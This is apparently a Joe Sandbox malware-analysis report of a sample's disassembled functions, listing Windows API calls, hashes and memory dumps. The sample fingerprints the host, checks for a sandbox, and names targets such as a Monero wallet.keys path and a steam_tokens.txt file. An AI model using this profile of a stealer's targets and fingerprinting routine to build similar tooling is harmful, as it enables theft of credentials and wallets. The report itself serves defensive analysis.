Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: a934ffcf8ed76fd44820c9b978bfe4217ddf3da5260fead19f5b662fd6d0d72c
Instruction ID: 22620221367de54e45e5f73c44bf0a2886760f3ba9a1c072615dee6c4b1363b4
Opcode Fuzzy Hash: a934ffcf8ed76fd44820c9b978bfe4217ddf3da5260fead19f5b662fd6d0d72c
Instruction Fuzzy Hash: 5EF03A7490420CAFDB04DFA4DC4AFED77B8EB08700F008498BA0997290D6B06A85DB91

Function 006C1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 006C112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 006C1132
ExitProcess.KERNEL32 ref: 006C1143

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 17ffdb115e2ba0c9564ddf4f58fba67e822749eca68b321bfd837adf8863e47b
Instruction ID: 407f14193adfec14d0014b90a6d1d10832522f1a4d8db16d1c1c3be3b79959c9
Opcode Fuzzy Hash: 17ffdb115e2ba0c9564ddf4f58fba67e822749eca68b321bfd837adf8863e47b
Instruction Fuzzy Hash: 78E08670A59308FFE7106BA09C0AF187678EB05B01F104048F7087A1C1C6B42600A6D9

Function 006D1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006D7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 006D7542
Part of subcall function 006D7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006D757F
Part of subcall function 006D7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006D7603
Part of subcall function 006D7500: RtlAllocateHeap.NTDLL(00000000), ref: 006D760A

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006D7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006D76A4
Part of subcall function 006D7690: RtlAllocateHeap.NTDLL(00000000), ref: 006D76AB

Part of subcall function 006D77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,006DDBC0,000000FF,?,006D1C99,00000000,?,013ED298,00000000,?), ref: 006D77F2
Part of subcall function 006D77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,006DDBC0,000000FF,?,006D1C99,00000000,?,013ED298,00000000,?), ref: 006D77F9

Part of subcall function 006D7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006C11B7), ref: 006D7880
Part of subcall function 006D7850: RtlAllocateHeap.NTDLL(00000000), ref: 006D7887
Part of subcall function 006D7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 006D789F

Part of subcall function 006D78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006D7910
Part of subcall function 006D78E0: RtlAllocateHeap.NTDLL(00000000), ref: 006D7917
Part of subcall function 006D78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 006D792F

Part of subcall function 006D7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,006E0E00,00000000,?), ref: 006D79B0
Part of subcall function 006D7980: RtlAllocateHeap.NTDLL(00000000), ref: 006D79B7
Part of subcall function 006D7980: GetLocalTime.KERNEL32(?,?,?,?,?,006E0E00,00000000,?), ref: 006D79C4
Part of subcall function 006D7980: wsprintfA.USER32 ref: 006D79F3

Part of subcall function 006D7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,013ED9C8,00000000,?,006E0E10,00000000,?,00000000,00000000), ref: 006D7A63
Part of subcall function 006D7A30: RtlAllocateHeap.NTDLL(00000000), ref: 006D7A6A
Part of subcall function 006D7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,013ED9C8,00000000,?,006E0E10,00000000,?,00000000,00000000,?), ref: 006D7A7D

Part of subcall function 006D7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,013ED9C8,00000000,?,006E0E10,00000000,?,00000000,00000000), ref: 006D7B35

Part of subcall function 006D7B90: GetKeyboardLayoutList.USER32(00000000,00000000,006E05AF), ref: 006D7BE1
Part of subcall function 006D7B90: LocalAlloc.KERNEL32(00000040,?), ref: 006D7BF9
Part of subcall function 006D7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 006D7C0D
Part of subcall function 006D7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 006D7C62
Part of subcall function 006D7B90: LocalFree.KERNEL32(00000000), ref: 006D7D22

Part of subcall function 006D7D80: GetSystemPowerStatus.KERNEL32(?), ref: 006D7DAD

GetCurrentProcessId.KERNEL32(00000000,?,013ED2D8,00000000,?,006E0E24,00000000,?,00000000,00000000,?,013ED968,00000000,?,006E0E20,00000000), ref: 006D207E

Part of subcall function 006D9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 006D9484
Part of subcall function 006D9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 006D94A5
Part of subcall function 006D9470: CloseHandle.KERNEL32(00000000), ref: 006D94AF

Part of subcall function 006D7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006D7E37
Part of subcall function 006D7E00: RtlAllocateHeap.NTDLL(00000000), ref: 006D7E3E
Part of subcall function 006D7E00: RegOpenKeyExA.KERNEL32(80000002,013DBCB0,00000000,00020119,?), ref: 006D7E5E
Part of subcall function 006D7E00: RegQueryValueExA.KERNEL32(?,013ED118,00000000,00000000,000000FF,000000FF), ref: 006D7E7F
Part of subcall function 006D7E00: RegCloseKey.ADVAPI32(?), ref: 006D7E92

Part of subcall function 006D7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 006D7FC9
Part of subcall function 006D7F60: GetLastError.KERNEL32 ref: 006D7FD8

Part of subcall function 006D7ED0: GetSystemInfo.KERNEL32(006E0E2C), ref: 006D7F00
Part of subcall function 006D7ED0: wsprintfA.USER32 ref: 006D7F16

Part of subcall function 006D8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,013ED9F8,00000000,?,006E0E2C,00000000,?,00000000), ref: 006D8130
Part of subcall function 006D8100: RtlAllocateHeap.NTDLL(00000000), ref: 006D8137
Part of subcall function 006D8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 006D8158
Part of subcall function 006D8100: __aulldiv.LIBCMT ref: 006D8172
Part of subcall function 006D8100: __aulldiv.LIBCMT ref: 006D8180
Part of subcall function 006D8100: wsprintfA.USER32 ref: 006D81AC

Part of subcall function 006D87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,006E0E28,00000000,?), ref: 006D882F
Part of subcall function 006D87C0: RtlAllocateHeap.NTDLL(00000000), ref: 006D8836
Part of subcall function 006D87C0: wsprintfA.USER32 ref: 006D8850

Part of subcall function 006D8320: RegOpenKeyExA.KERNEL32(00000000,013EAFC0,00000000,00020019,00000000,006E05B6), ref: 006D83A4

Part of subcall function 006D8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 006D8426
Part of subcall function 006D8320: wsprintfA.USER32 ref: 006D8459
Part of subcall function 006D8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 006D847B
Part of subcall function 006D8320: RegCloseKey.ADVAPI32(00000000), ref: 006D848C
Part of subcall function 006D8320: RegCloseKey.ADVAPI32(00000000), ref: 006D8499

Part of subcall function 006D8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006E05B7), ref: 006D86CA
Part of subcall function 006D8680: Process32First.KERNEL32(?,00000128), ref: 006D86DE
Part of subcall function 006D8680: Process32Next.KERNEL32(?,00000128), ref: 006D86F3
Part of subcall function 006D8680: CloseHandle.KERNEL32(?), ref: 006D8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 006D265B

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: bcbeca9f0e79e6fc75754d8f23f48a9d85ec588c9d4d62cd570eac25755854b4
Instruction ID: ebc806a0b5fcd46c2340c2a41ebd7bc37a779cbd90cb0349dfc3eb60748e88cb
Opcode Fuzzy Hash: bcbeca9f0e79e6fc75754d8f23f48a9d85ec588c9d4d62cd570eac25755854b4
Instruction Fuzzy Hash: DF72F272C15148AADB59FBD0DCA2DEE733EAF14300F5042AEB41666191EF302B49DF69

Function 006C6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a4f9464b60871f1d8916576f9906bc4f31cf9654b26d2dc860698d82769e10f
Instruction ID: 336e491e274831c500fc3d4b63ad6af3db9c25c66af9c8fa05e0925073e15341
Opcode Fuzzy Hash: 2a4f9464b60871f1d8916576f9906bc4f31cf9654b26d2dc860698d82769e10f
Instruction Fuzzy Hash: 7661F2B4900218EBCB14CF94E984BEEB7B2EB08304F10859DF419A7281D775AE95DF95

Function 006D5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA820: lstrlen.KERNEL32(006C4F05,?,?,006C4F05,006E0DDE), ref: 006DA82B
Part of subcall function 006DA820: lstrcpy.KERNEL32(006E0DDE,00000000), ref: 006DA885

lstrlen.KERNEL32(00000000,00000000,006E0ACA), ref: 006D512A

Strings

steam_tokens.txt, xrefs: 006D513F

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 5ed31357e3384c6d7b0ca6226bc248c7e84c6c50ed2ad5bde1ac3af70991482f
Instruction ID: c9765c1783ce4716b75b96064f01db3fa383c2901f9794150816a8a1a0d02177
Opcode Fuzzy Hash: 5ed31357e3384c6d7b0ca6226bc248c7e84c6c50ed2ad5bde1ac3af70991482f
Instruction Fuzzy Hash: 84F04B71C1410866CB44FBE0DC529ED733E9A55300F80422EB81266292EE346609D6AA

Function 006D7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(006E0E2C), ref: 006D7F00
wsprintfA.USER32 ref: 006D7F16

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 62b3badb9b19403d0527aeccb37d1a7d5e28b5bfbdbd9421032ac2c52625f6a6
Instruction ID: 977f48e912769d9453a7280402958cb52e48ed3bb5d8328967e2f984ab289870
Opcode Fuzzy Hash: 62b3badb9b19403d0527aeccb37d1a7d5e28b5bfbdbd9421032ac2c52625f6a6
Instruction Fuzzy Hash: 2DF06DB1E44208EBCB10DF89DC45FAAB7BCFB48A24F40466AF51592280D7B569448BE1

Function 006CB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

lstrlen.KERNEL32(00000000), ref: 006CB9C2
lstrlen.KERNEL32(00000000), ref: 006CB9D6

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

